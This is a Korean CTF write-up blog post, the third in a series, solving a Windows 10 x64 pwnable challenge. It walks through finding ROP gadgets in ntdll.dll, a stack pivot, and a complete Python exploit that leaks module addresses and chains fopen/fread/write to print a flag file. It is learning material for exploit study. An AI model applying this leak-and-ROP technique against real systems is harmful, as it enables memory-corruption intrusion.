Pwnable은 Windows로 시작하는거 아니다-_- CH.03

By ccoma | May 25, 2018

Pwnable은 Windows로 시작하는거 아니다 -_- CH.03


(feat. 내가 이걸 왜 한다고 했을까…)


Pwnable은 Windows로 시작하는거 아니다 -_- CH.01
Pwnable은 Windows로 시작하는거 아니다 -_- CH.02



드디어!!!
exploit을 위한 rop payload를 짤 차례입니다! 짝짝짝
시작 해 봅시다!




step.04 - Payload 구성을 위한 ROP 가젯Gadget 찾기!


먼저 어떤 함수들로 FLAG를 읽을 지 생각해야 합니다.
이 문제는 AppJailLauncher로 구동되고 있기 때문에 open, read 등의 함수만 사용할 수 있습니다.

그래서 전 아래와 같이 가장 단순하게 페이로드를 구성하려고 합니다.


1. fopen 함수를 통해 flag.txt 파일 열기
2. fread 함수를 통해 메모리의 특정 영역에 flag.txt 내용 읽기
3. write 함수를 통해 표준 출력으로 flag.txt의 내용 출력하기


그럼 먼저 fopenfread, write 함수의 주소와 인자를 알아야겠죠?
windbg에서 함수의 주소를 찾을 때는 x 명령어를 사용하시면 됩니다.

fopen, fread, write 함수는 C 런타임 라이브러리에 포함된 함수이기 때문에 msvcrt.dll에서 주소를 찾아야해요.



  • fopen : 0x657de69c
  • fread : 0x657dec18
  • write : 0x6581d22c


이 주소는 부팅할 때 할당되기 때문에, 제가 재부팅하기 전까지는 바뀌지 않을거에요 ㅎㅎ
주소를 찾았으니 이제 함수의 인자를 확인해야 합니다.


각 함수의 원형은 아래와 같네요!


FILE *fopen(const char *filename, const char *mode)
size_t fread(void *DstBuf, size_t size, size_t count, FILE * stream)
ssize_t write(int fd, const void *buf, size_t nbytes)


따라서 인자를 최소 2개, 최대 4개를 넣어주어야 해요.
함수의 주소도 찾았고, 함수에 들어가는 인자도 찾았는데 함수를 제대로 호출하기 위해서는 아직 한가지가 더 남았어요 ㅠㅠ


함수를 호출하려면 함수에서 각 인자를 사용하기 위해서는 이 인자들을 레지스터에 넣어주어야 합니다.
그러려면 Windows 10 64 bit 환경에서 매개 변수가 어떤 레지스터를 통해 전달되는지를 알아야겠죠?

아래 링크에서 원하는 내용을 찾을 수 있었습니다.



즉, 인자가 4개라면 각 인자들은 순서대로 rcx, rdx, r8, r9로 들어갑게 됩니다.
그럼 fopen, fread, write 함수를 호출하기 전에 각 인자들을 레지스터에 넣어주기 위해선 아래와 같은 가젯이 필요할 것 같네요!


pop rcx
pop rdx
pop r8
pop r9
ret 


가젯은 ntdll.dll에서 찾을거에요 ㅎㅎ
ntdll.dllC:\WINDOWS\SYSTEM32\ntdll.dll에 있습니다.
ntdll.dllmd5 Hash 값을 구한 후, http://ropshell.com/ 사이트에서 검색하면 손쉽게 가젯들을 찾을 수 있습니다!


제 현재 Windows 버전 ntdll.dll의 md5 Hash 값은 아래와 같습니다.



ab9108cfb213c90bf32c0216a284f5a9 Hash 값을 사이트에서 검색하니 역시나 가젯을 확인할 수 있었습니다.




파일을 다운받은 후, 원하는 가젯을 검색 해 보았습니다.
찾아보니 위에서 적은 가젯과 정확히 일치하는 가젯은 없지만, 더 좋은 가젯을 찾았네요!


0x000901b0 : pop rdx; pop rcx; pop r8; pop r9; pop r10; pop r11; ret


해당 가젯이 저 주소에 정말 있는지 확인을 해야겠죠?



…잉??
분명히 pop rdx; pop rcx; pop r8; pop r9; pop r10; pop r11; ret 가 있어야 할 것 같은데 어디감….??


그런데 상단의 Binary info를 살펴보면 base address0x180001000으로 되어있네요. 왜….?



그럼 아까 찾은 offset에서 0x1000 만큼을 더해보면 제가 원하는 가젯이 있을 것 같아요.
다시 확인 해 보니 역시 0x911b0 주소에 있습니다.


그런데 찾은 가젯에서 레지스터를 pop 하는 순서가 rdx, rcx, r8, r9 이므로
두번째 인자, 첫번째 인자, 세번째 인자, 네번째 인자 순으로 payload를 구성해야 할 것 같습니다.

또, r10과 r11은 사용하지 않을 예정이기 때문에 0을 넣어줄거에요.




다 찾은줄 알았죠??
그렇게 간단할리가 ㅎㅎㅎ


아직 2개의 가젯을 더 찾아야해요.

하나는 pivoting을 하기 위한 가젯, 하나는 rsp를 특정 값만큼 더해주는 가젯.
rsp를 특정 값만큼 더해주는 가젯은 왜필요함?? 이라고 생각하실 수도 있을 것 같아요!


왜 필요하냐면!


exploit을 할 때, rop payload를 heap 영역에 넣지만 프로그램에서는 이 heap 영역을 stack처럼 사용해 값을 쓰기도 하고 읽기도 합니다.
이 때 함수에서 stack 영역(실제로는 heap 영역)에 값을 쓰고 읽으면서 rop payload가 있는 메모리까지 덮어 쓰게 되는데요,
때문에 제가 저장 한 rop payload가 손상되어 공격이 제대로 이루어지지 않게 됩니다.


그래서! 함수와 함수 사이에 어떠한 값을 넣어두고(저는 0을 넣었어요 ㅎㅎ) 그 특정 값만큼 rsp를 더해주는 가젯을 추가로 넣어주어 다음 함수가 제대로 실행될 수 있도록 해야합니다.


아래의 exploit 코드에서 fopen 함수와 fread 함수 사이,
fread 함수와 write 함수 사이를 보시면 좀 더 이해가 쉬우실 것 같아요 ㅎㅎㅎ
이해가 되셨나요? ㅎㅎ


여하튼, 특정 값만큼 rsp를 더하는 가젯은 아래와 같이 ntdll.dll + 0x2c2b 주소에 있습니다!


0x00001c2b : add rsp, 0x38; ret


이제 정말 마지막으로 pivoting을 위한 가젯을 구해야 합니다.


rsp를 우리가 원하는 주소로 바꿔야 하는데, 지금 조작할 수 있는 레지스터는 rdx 혹은 rcx만 있으므로,
mov rsp, rcx 혹은 mov rsp, rdx 형태의 가젯을 찾으면 될 것 같습니다 ㅎㅎ


찾아보니, 아래와 같은 가젯이 있네요!


0x000a3bd4 : mov rsp, [rcx + 0x98]; mov rcx, [rcx + 0xf8]; jmp rcx


그런데 마지막에 ret가 없으므로, ret 가젯을 새로 찾아서 사용해야 할 것 같아요.
그럼 rcx + 0x98의 위치에 rop payload의 주소를 넣고, rcx + 0xf8의 위치에는 ret의 주소를 넣으면 될 것 같습니다 ㅎㅎ




step.05 - Exploit 코드를 짭시다!


와 드디어 rop payload를 짜기위해 필요한 모든 가젯을 구했습니다!! 짝짝짝
이제 코드만 짜면 되요ㅋㅋㅋㅋ 금방이죠???는 개뿔


여러분 저 이거 다 구하고 “이제 코드짜야지~~” 이러고 신나있었는데 Windows 업데이트 함(실화인가 ㅠㅠ)



보이심….??
저 따끈따끈한 Windows 버전과 빌드 날짜가 보이시나요…..??? 하…… 절레절레
덕분에 offset 처음부터 다시 구했어요…. ㅠㅠㅠㅠ 울고싶어라…


여러분 혹시 http://ropshell.com/에서 가젯 찾으시는분…?



사진에 표시한 "현재 기준 가장 최신 ntdll.dll"은 제가 업로드 한겁니다 여러분 ㅠㅠㅠ
어쨌든… 우여곡절 끝에 드.디.어!!!!!! exploit 코드를 완성했습니다 ㅎㅎㅎㅎ


# windows 10 os build 17134.48 / version 1803 
import socket
import struct
import time
import sys
import re

def recv_until(the_socket, End):
	total_data = []
	data = ''
	while True:
		data = the_socket.recv(8192)
		if End in data:
			total_data.append(data[:data.find(End)])
			break
		total_data.append(data)
		if len(total_data) > 1:
			last_pair = total_data[-2]+total_data[-1]
			if End in last_pair:
				total_data[-2] = last_pair[:last_pair.find(End)]
				total_data.pop()
				break

	return ''.join(total_data)

print "[+] thing2 Exploit Start"

ip = "192.168.18.139"
port = 4141

s = socket.socket()
s.connect((ip, port))

print "[+] Connect OK with", ip

test = "1" + "\x00" * 0x900 + "\n"
s.send(test)
data = recv_until(s, "0,")

leaker = b"2\n288\n"
leaker += b"37\n112\n32\n" * 0x60
raw_input()
s.send(bytearray(leaker))
data = s.recv(10000)

leak = data.split(" ")[2:]

# Calculate base address
heap_address = int(leak[19], 16)
base_address = int(leak[23], 16) - 0x6288
ntdll_address = int(leak[48], 16) - 0x71551
k32_address = int(leak[42], 16) - 0x13034
msvcr100_address = int(leak[30], 16) - 0x20a13
msvcp100_address = int(leak[7], 16) - 0x4fd00

# pop rdx; pop rcx; pop r8; pop r9; pop r10; pop r11; ret
pop_all = ntdll_address + 0x8aa00
# ret
ret = ntdll_address + 0x1e24
# add rsp, 0x38; ret
add_rsp_38h = ntdll_address + 0x401b

fopen = msvcr100_address + 0x2e69c
fread = msvcr100_address + 0x2ec18
write = msvcr100_address + 0x6d22c

# mov rsp, [rcx + 0x98]; mov rcx, [rcx + 0xf8]; jmp rcx
pivot = ntdll_address + 0x9e8e4
JUNK = 0

payload_address = heap_address + 0x300
flag_address = heap_address + 0x448 # ./flag.txt
open_mode_address = flag_address + 0x10 # r
buffer_address = heap_address + 0x700

rop_payload = struct.pack("<Q", pop_all)
rop_payload += struct.pack("<Q", open_mode_address)
rop_payload += struct.pack("<Q", flag_address)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", fopen)

rop_payload += struct.pack("<Q", add_rsp_38h)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)

rop_payload += struct.pack("<Q", pop_all)
rop_payload += struct.pack("<Q", 0x1)
rop_payload += struct.pack("<Q", buffer_address)
rop_payload += struct.pack("<Q", 0x100)
rop_payload += struct.pack("<Q", 0x65861650)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", fread)

rop_payload += struct.pack("<Q", add_rsp_38h)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)
rop_payload += struct.pack("<Q", 0)

rop_payload += struct.pack("<Q", pop_all)
rop_payload += struct.pack("<Q", buffer_address) 
rop_payload += struct.pack("<Q", 0x1)
rop_payload += struct.pack("<Q", 0x100)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", JUNK)
rop_payload += struct.pack("<Q", write)

sendData = "1" + struct.pack("<Q", heap_address + 0x8)
sendData += "\x00" * 0x8
sendData += struct.pack("<Q", pivot)
sendData += "\x00" * 0x80
sendData += struct.pack("<Q", payload_address)
sendData += "\x00" * 0x38
sendData += struct.pack("<Q", heap_address)
sendData += "\x00" * 0x18
sendData += struct.pack("<Q", ret)
sendData += "\x00" * 0x200
sendData += rop_payload
sendData += "\x00" * 0x8
sendData += "./flag.txt"
sendData += "\x00" * 6
sendData += "r"
sendData += "\x00" * 7
sendData += "\x00" * 0x480 + "\n"

s.send(sendData)

print s.recv(4096)

print "[+] End"


길…죠….?

fread 함수에서 네번째 인자인 stream에는 fopen에서 반환된 값을 넣어주어야 합니다.
windbg에서 fopen 함수가 ret를 할 때 break point를 걸고 그 때의 rax 레지스터 값을 확인하면 됩니다.


자 이렇게 짠 익스 코드를 실행시키면!!



이렇게 플래그가 나옵니다!!! 꺄하하하하하핳ㅎㅎㅎㅎ
드디어 exploit을 성공했습니다 ㅎㅎㅎㅎㅎ 신난다 히히힣ㅎㅎㅎㅎㅎ

어떠신가요? 재밌죠…??? ㅋㅋㅋㅋㅋㅋ


제가 이제 막 공부하는 단계인지라, 제가 공부하면서 알게된 것, 문제 풀이에 필요한 내용들을 최대한 상세하게 쓰려고 했는데 제대로 전달됬는지 모르겠네요 ㅠㅠ다쓰고 나서 보니 스크롤 압박 실화인가… exploit 코드때문에 그럴거야…

다음번에 또 다른 Windows Pwnable 문제를 풀게된다면 뭔가 내 무덤을 파는 기분이긴 한데 어쨌든 더 상세하고 이해하기 쉽게 쓰도록 노력해보겠습니다!!


그럼 이만 전 퇴그닝~ 퇴근퇴근 히헿


이제 놀러갈거야 아무도 절 찾지 말아주세요 빠이짜이찌엔!!!


comments powered by Disqus